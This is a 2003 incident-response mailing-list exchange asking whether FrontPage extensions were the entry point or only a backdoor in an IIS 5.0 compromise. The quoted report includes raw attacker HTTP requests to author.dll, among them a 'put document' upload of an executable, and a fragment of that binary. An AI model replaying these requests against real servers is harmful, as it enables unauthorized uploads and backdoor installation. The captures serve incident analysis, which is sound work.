Re: frontpage extensions; backdoor or initial compromise?

From: Eric Kimminau (rootat_private)
Date: Thu Jul 03 2003 - 11:05:18 PDT

  • Next message: Jordan Wiens: "RE: frontpage extensions; backdoor or initial compromise?"

    Im assuming it was WebDAV, right? Get your Windows boxes patched and
    keep close tabs on them on Sunday.
    
    Eric.
    
    
    On Wed, 2 Jul 2003, Jordan Wiens wrote:
    
    > Date: Wed, 2 Jul 2003 13:08:43 -0400 (EDT)
    > From: Jordan Wiens <jwiensat_private>
    > To: incidentsat_private
    > Subject: frontpage extensions; backdoor or initial compromise?
    > 
    > We had a recent compromise that our IDS did not detect, however, it did
    > detect subsequent backdoor activity and a few other packets afterwards
    > that alerted us to the compromise.  Upon closer investigation of the
    > activity, some of the additional information logged showed some frontpage
    > extensions being used in an interesting way.  Anyone else seen this?
    > 
    > Since we were unable to determine the initial compromise method, I'm
    > trying to figure out if this was purely used as a backdoor, or might also
    > have been the same method as the initial compromise.
    > 
    > Some additional background info; the svchost.exe is a renamed servu ftp
    > daemon process that was loaded into the server along with a few other,
    > 'normal' backdoor tools.
    > 
    > -- 
    > Jordan Wiens
    > UF Network Incident Response Team
    > (352)392-2061
    > 
    > ATTACK:
    > ---------------
    > POST /_vti_bin/_vti_aut/author.dll HTTP/1.1
    > Date: Tue, 01 Jul 2003 20:33:10 GMT
    > MIME-Version: 1.0
    > User-Agent: MSFrontPage/4.0
    > Host: aaa.bbb.ccc.ddd
    > Accept: auth/sicily
    > Content-Length: 112
    > Content-Type: application/x-www-form-urlencoded
    > X-Vermeer-Content-Type: application/x-www-form-urlencoded
    > Connection: Keep-Alive
    > Cache-Control: no-cache
    > 
    > method=getDocsMetaInfo%3a4%2e0%2e2%2e4715&url%5flist=%5bsvchost%2eexe%5d&listHiddenDocs=false&listLinkInfo=true
    > 
    > 
    > SERVER RESPONSE:
    > ---------------
    > HTTP/1.1 100 Continue
    > Server: Microsoft-IIS/5.0
    > Date: Tue, 01 Jul 2003 20:30:02 GMT
    > 
    > HTTP/1.1 200 OK
    > Server: Microsoft-IIS/5.0
    > Date: Tue, 01 Jul 2003 20:30:02 GMT
    > Connection: close
    > Content-type: application/x-vermeer-rpc
    > X-FrontPage-User-Name: IUSR_MACHINE
    > 
    > <html><head><title>vermeer RPC packet</title></head>
    > <body>
    > <p>method=getDocsMetaInfo:4.0.2.4715
    > <p>document_list=
    > <ul>
    > </ul>
    > <p>failedUrls=
    > <ul>
    > <li>svchost.exe
    > </ul>
    > </body>
    > </html>
    > 
    > 
    > 
    > Additional session....
    > 
    > ATTACKER:
    > ---------------
    > POST /_vti_bin/_vti_aut/author.dll HTTP/1.1
    > Date: Tue, 01 Jul 2003 20:33:29 GMT
    > MIME-Version: 1.0
    > User-Agent: MSFrontPage/4.0
    > Host: aaa.bbb.ccc.ddd
    > Accept: auth/sicily
    > Content-Length: 2142969
    > Content-Type: application/x-vermeer-urlencoded
    > X-Vermeer-Content-Type: application/x-vermeer-urlencoded
    > Connection: Keep-Alive
    > Cache-Control: no-cache
    > 
    > 
    > SERVER:
    > ---------------
    > HTTP/1.1 100 Continue
    > Server: Microsoft-IIS/5.0
    > Date: Tue, 01 Jul 2003 20:30:21 GMT
    > 
    > ATTACKER:
    > ---------------
    > method=put+document%3a4%2e0%2e2%2e4715&service%5fname=&document=%5bdocument%5fname%3dsvss%2eexe%3bmeta%5finfo%
    > 3d%5bvti%5fmodifiedby%3bSW%7cAdministrator%3bvti%5fauthor%3bSW%7cAdministrator%5d%5d&put%5foption=edit&comment=&keep%5fch
    > ecked%5fout=false
    > MZP@!L!This program must be run under Win32
    > $7PELW] < @p! > xp pK.text `.data@.tls*@.rdata,@P.idata
    > .@@.edataF@@.rsrcxH@@.relocp @Pfb:C++HOOK,[[#[RjYZp/jYh[j3'[jg3['[`PS
    > htM=[s
    > .
    > . Additional raw data.
    > .
    > 
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